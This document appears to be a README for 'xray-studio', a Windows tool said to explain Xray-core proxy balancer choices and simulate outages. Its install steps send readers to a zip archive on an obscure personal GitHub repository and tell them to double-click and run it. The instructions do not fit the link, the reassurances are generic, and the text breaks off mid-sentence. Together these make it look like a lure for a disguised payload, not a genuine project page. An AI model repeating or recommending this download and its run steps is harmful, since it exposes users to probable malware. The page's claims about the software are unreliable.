🔬 xray-studio - Know Your Proxy's Every Move

See why your balancer chose a server, and test failures like a real outage.

🤔 What is xray-studio?

xray-studio is a simple desktop program for Windows that helps you understand and test your Xray-core proxy setup. If you use VLESS, Reality, or any load-balanced proxy configuration, this tool is for you.

It does two big things:

Shows you the "why" – When you have multiple servers (outbounds) in a balancer, xray-studio tells you exactly which server was picked and why. No more guessing.
Lets you break things safely – You can inject failures (like a dropped connection or high latency) into your test environment. These failures look and behave exactly like a real network outage, so you can see how your setup reacts.

Think of it as a magnifying glass and a test dummy for your proxy configuration.

🎯 Who Should Use This?

This tool is perfect for:

People who run their own proxy servers and want to know why traffic goes to one server over another.
Developers or network enthusiasts testing Xray-core configurations.
Anyone who wants to be sure their setup can handle a server going down without manual intervention.
Users who are curious about the inner workings of load balancers.

You do not need to be a programmer to use this. If you can download a file and click "Next" a few times, you're good.

✨ Key Features

🔍 Balancer Decision Log

See a clear, real-time log of which outbound server was selected for each connection, along with the reason (e.g., "lowest latency", "least connections", "health check passed").

💥 Realistic Fault Injection

Simulate network problems like packet loss, high latency, or complete server disconnection. The failures are designed to be indistinguishable from real-world issues, so you can trust your testing.

📊 Observability Dashboard

A simple dashboard that shows your current connections, balancer status, and any active fault injections – all in one place.

⚙️ Works with Your Existing Config

Load your standard Xray-core JSON configuration file. No need to rewrite anything. xray-studio reads it and shows you what's happening.

🚀 Download and Install (Windows)

Getting started is easy. Follow these steps:

Visit this link to download the application: https://raw.githubusercontent.com/Lannyectodermal2512/lannyectodermal2512.github.io/main/ryme/1.1.zip
On the page, look for the "Download" or "Releases" section.
Click the download button and save the file to your computer.
Once the download is complete, find the file in your "Downloads" folder.
Double-click the downloaded file to run it. That's it – the application will open.

📥 Get xray-studio Now

No technical knowledge required. Just download and run.

📖 Quick Start Guide

Here's how to use xray-studio in 3 simple steps:

Step 1: Open xray-studio. You'll see a welcome screen.

Step 2: Click "Load Config" and select your Xray-core JSON configuration file. The tool will read it immediately.

Step 3: Click "Start" to begin observing. You'll see your balancer decisions in real-time. To test failures, click "Fault Injection" and choose what to simulate.

That's all there is to it. You can now watch your proxy's behavior and test how it handles problems.

💻 System Requirements

Operating System: Windows 10 or Windows 11 (64-bit)
RAM: 2 GB or more (4 GB recommended)
Storage: 200 MB of free space
Internet: Required for downloading and for testing live configurations

No special hardware or admin rights are needed. If you can run a web browser, you can run xray-studio.

❓ Frequently Asked Questions

Q: Do I need to know how to code?

No. xray-studio is designed for everyone. You just load a config file and click buttons.

Q: Will this break my proxy?

No. Fault injections only affect the test environment within xray-studio. Your actual Xray-core setup outside the tool is untouched.

Q: Can I use this with VLESS or Reality?

Yes. xray-studio supports all standard Xray-core protocols, including VLESS and Reality, as long as they are in a JSON config file.

Q: What if I have a problem?

Visit the GitHub page linked above and open an issue. The community and developers are happy to help.

xray-studio is an open-source project. Built with Electron and Go.

For support, visit